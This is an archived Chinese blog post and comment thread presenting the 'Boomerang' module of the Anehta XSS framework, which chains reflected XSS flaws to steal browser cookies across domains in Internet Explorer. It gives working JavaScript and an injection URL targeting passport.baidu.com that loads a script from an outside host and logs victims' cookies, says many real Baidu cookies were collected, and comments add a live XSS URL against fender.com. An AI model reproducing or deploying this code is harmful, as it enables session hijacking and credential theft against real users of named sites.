aullik5 | 我的消息(0/136)  | 我的空间  | 百度首页 | 百度空间 | 退出
 
查看文章
 
Anehta -- Boomerang(回旋镖),如何将反射型XSS变成持久型XSS:论跨域获取cookie
2008-10-23 13:28
Anehta中有许多的具有创意的设计,Boomerang回旋镖模块,正是其中一个。

回旋镖模块的作用,是为了跨域获取本地cookie

Boomerang模块是专门针对IE设计的,对于Firefox的情况,可以使用xcookie模块,稍后会讨论。

Boomerang的工作原理:我们知道,浏览器被XSS攻击后,攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来,简单表示如下:

victim Browser --->site A,XSS_A ---- redirect to ---->Site B,XSS_B ----- redirect somewhere --->.....

但是对于IE来说,想要通过XSS_B 获取 Site B的cookie是有一定的困难的,困难就在于,从site A发过来的request,是否带上了本地cookie。

我们知道,在IE中,iframe、img等标签都是拦截本地cookie的,于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法,但是window.open会被IE拦截弹出窗口,所以我在boomerang 中使用了 表单提交构造一个form,向site B提交,然后再从Site B导入一个XSS B,获取了cookie后,再通过表单提交,跳转回原来的Site A.

如果在Site B上,使用XSS_B再将页面重新定向回 Site A,那么对于用户来说,就是简单的闪了一下,非常具有欺骗性。

这个过程可以描述如下

由于在IE中,跳到了Site B后再跳回A,中间已经取到了B的cookie了,整个过程就像用回旋镖扔出去打了一下B一样,所以我把这个模块命名为回旋镖模块,英文是:Boomerang!

实现代码如下:

////////////////////////////////////////////////////////////
var target_domain = "passport.baidu.com";
var target="http://passport.baidu.com/?getmypass&username=\"];document.write('<script src=http://www.secwiki.com/anehta/feed.js></script>');//";


// 前页面
var org_url = "http://www.secwiki.com/anehta/demo.html";
var org_domain = "www.secwiki.com";



// 如果是当前页面,则向目标提交
if ($d.domain == org_domain){
   if (anehta.dom.checkCookie("boomerang") == false){
       // 在cookie里做标记,只弹一次
        anehta.dom.addCookie("boomerang", "x");

       setTimeout( function (){
          //alert(target);
        try {
            anehta.net.postForm(target);
        } catch (e){
            //alert(e);
        }
      },
      50);
   }
}


// 如果是目标站点,则重定向回前页面
if ($d.domain == target_domain){
   
    //clx模块太慢了
    anehta.logger.logCookie(); //记录cookie
    setTimeout( function (){
     // 弹回原来的页面。
     anehta.net.postForm(org_url);
   },
   50);
}


可以注意到,在Site B上停留的时间只有50毫秒,是非常短暂的,而我们想做的事情已经做完了。


所有需要的一切,只是在B站上有一个XSS,种类不限,也就是说,不管是反射型XSS,还是持久型XSS,都能很好的完成我们的工作

在以往,反射型XSS可能是鸡肋,但是通过回旋镖模块,我们变废为宝了!


在 Anehta 的demo页面,加入了针对回旋镖的演示. (注意在IE下,使用回旋镖,site B来不及打上水印,所以记录保存在 noWaterMark里)

http://www.secwiki.com/anehta/demo.html

后台 http://www.secwiki.com/anehta/admin.php

类别:象牙塔 | 编辑 | 删除 | 添加到搜藏 | 浏览(375) | 评论 (15)
 
 
最近读者:
dxl198853yanfei6xi4o7e552411655CSS163mix_gogogowolffly随意放纵
 
网友评论:
1
网友:QZ
2008-10-23 14:51 | 删除
这不是持久型的XSS,只是反射型XSS的一种攻击方式而已,也没有跨域。

只是URL重定向转了一圈。
 
2

aullik5
2008-10-23 15:15 | 删除
效果是一样的,一种XSS的利用技巧
 
3
网友:余弦
2008-10-23 15:39 | 删除
呵呵,不是常规的跨域啊。
 
4

aullik5
2008-10-23 15:49 | 删除
是啊,是两个跨站加起来,不是随意跨
 
5

darkst
2008-10-23 16:29 | 删除
setTimeout( function (){
// 弹回原来的页面。
anehta.net.postForm(org_url);
},
50);

功能完成读取cookies 保存,然后50ms 后返回原页面。

真的可以完成 50ms吗? 如果跨站漏洞 在页面尾部,难道不需要等待页面加载。也许js可以在页面加载完成之前执行。读取js的过程呢?原本页面的js和css呢?会脱慢速度吗?

如果在原页面先加载xss漏洞页面的iframe,然后在跳转,不知道缓存是否起作用。

另外建议,可以先判断 if($.browser.msie ) 判断下,ff之类的就可以无跳转获取目标站的信息了吧?
 
6

aullik5
2008-10-23 17:05 | 删除
你说的很好,这些都是我实际调试中遇到的问题。

这个和网速有关系的,如果网速慢可以调整时间,根据需要来。等到js加载完就可以了。对于百度这种速度很快的大站,50ms已经够用了,anehta的后台收到了非常多的百度的cookie记录。

我 在xcookie.js 中已经判断了浏览器,如果你看了我前面一篇: Anehta -- Getting Started 的话,里面提到最好不要直接在feed.js加载boomerang, xcookie.js 会去判断浏览器,如果是IE就加载 boomerang,如果是FF就直接挂IFRAME。

关于缓存的问题,IE是会获取自己的缓存的,所以JS没有下载的问题了,在A站加载过后,在B站不会去下载,而是直接从缓存里加载了。

 
7

darkst
2008-10-23 17:50 | 删除
还是那个问题,为什么用settimeout呢?如果要等待过程完成的话,使用callback不是更直接一点吗?javascript支持参数为函数的啊。
 
8

aullik5
2008-10-23 18:26 | 删除
没太明白你说的利用callback来做的方法,是像这种吗?

anehta.net.postForm(url, anehta.logger.logCookie);

不知道这样是否有效,不过js里面很少有阻塞的函数,很容易出现表单已经提交,但是logCookie还没执行完的情况。经常是包还没发出去就跳转了,从而导致记录log失败。或者你有什么比较好的方法也可以分享下。

所以我在这里用了setTimeout,而且目前这个模块已经是比较稳定的一个模块了。
 
9

darkst
2008-10-23 21:03 | 删除
你不是通过form提交吗?

创建form->创建一个不可见的iframe->设置form的target=""为那个iframe->绑定iframe的onload事件

form表单提交完成就会调用那个onload函数。这个时候跳转,对吗?
 
10

aullik5
2008-10-23 22:14 | 删除
var newIframe = document.createElement("iframe");
newIframe.style.width = 100;
newIframe.style.height = 100;
newIframe.onload = anehta.logger.logCookie();
//newIframe.src="http://www.baidu.com";
document.body.appendChild(newIframe);


//window.onblur = anehta.logger.logCookie();
//window.onblur = alert("blur");
var f;
f=document.createElement('form');
f.action="http://www.taobao.com";
f.method="post";
f.target = "newIframe";

document.getElementsByTagName("body")[0].appendChild(f);
f.submit();

简单测试了下,发现设置form的target为iframe的时候,会弹出窗口,然后被IE拦截了。。。。。。

不用iframe,绑定 window.blur好像也行不通
 
11

darkst
2008-10-23 22:35 | 删除
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>demo</title>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js" type="text/javascript"></script>
<script>
jQuery(function(){
$("#f").submit( function () {
$("#if").load(function(){
alert("done");
$("#if").unbind();
});
} );
});
</script>
</head>
<body>
<form id="f" action="http://www.baidu.com/" target="if">
<input name="cookies" type="text" />
<input type="submit"/>
</form>
<iframe id="if" name="if"></iframe>
</body>
</html>

没看你封装的代码,写了个基于jquery的demo。

form sumbit后绑定 iframe的onload事件,加载完成后就会alert("done");
 
12

darkst
2008-10-23 22:38 | 删除
发现设置form的target为iframe的时候,会弹出窗口,然后被IE拦截了。。。。。。

target要设置iframe的name 否则会新页面打开。所以会被拦截。
 
13

aullik5
2008-10-23 23:39 | 删除
你的思路非常好,我理解你的意思了,POST的时候,往iframe里POST,这样页面就不会跳转了。 这样非常的隐蔽.

就在我也以为要成功的时候,还是被IE的安全机制拦截了,从iframe里弹出来的cookie是session cookie,不是本地cookie。抓包发现,form POST往iframe的时候是发送的session cookie,没有本地cookie

例如如下跨站:
http://www.fender.com/products/search.php?section=guitars&cat="><script>alert(document.cookie);</script>

我通过paros劫持response,在本地生成了一个本地cookie:

HTTP/1.1 200 OK
Date: Thu, 23 Oct 2008 15:23:12 GMT
Server: Apache/1.3.34 (Unix) PHP/4.4.6 mod_ssl/2.8.25 OpenSSL/0.9.7e-p1
X-Powered-By: PHP/4.4.6
Set-Cookie: search_str=header_page%3D0%2Csearch%3D%2Cpg%3D%2Csection%3Dguitars
Set-Cookie: yy=gggggggggggggg;expires=Thu, 01-Jan-2038 00:00:01 GMT;
Content-Type: text/html
Vary: Accept-Encoding
Content-length: 65326

 
14

aullik5
2008-10-23 23:40 | 删除
然后我尝试用form POST这个link,到一个iframe里
// 这个函数返回iframe的name
var xx = anehta.inject.addIframe("yy");
//alert(xx);
document.getElementById('form1').action="http://www.fender.com/products/search.php?section=guitars&cat=\"><script>alert(document.cookie);</script>";
document.getElementById('form1').target=xx;
document.getElementById('form1').submit();

最后发现弹出来的还是session cookie,我写进去的本地cookie
yy=gggggggggggggggg 没有弹出来,被iframe拦截了。

关于在表单提交的时候绑定,我已经实现了,我通过3、4种不同的方法可以实现这一点,你看下我的 hook.js 就明白了。其中也用到里jquery里的一些方法。

不过在我的实际测试过程中,使用jquery绑定submit还是会有一些时间差的问题,就是我前面提到了js函数不阻塞的问题。 logCookie还没发包出去,页面就跳转了,这时候函数就被破坏了。

我解决这个时间差问题用的办法是冻结页面,这个方法是参考了attackAPI

实现方法我写在 anehta.core.freeze() ,这个函数能冻结住页面一段时间,从而保证我们的logCookie能够正常提交,然后再跳
 
16

darkst
2008-10-24 11:25 | 删除
是我没明白你的意思。。。。或者说,我一开始就理解错误了。

iframe里面的绝对是sessionCookies这个是毋庸置疑的。利用xss获取目标站cookies当然要跳转。
我指的是回跳,我发现我的方法确实有问题,你原本的setTimeOut是有道理的。

我还是看看你的代码再说吧。。。我片面了。
 
发表评论:
姓 名: aullik5
内 容:
 

     

©2008 Baidu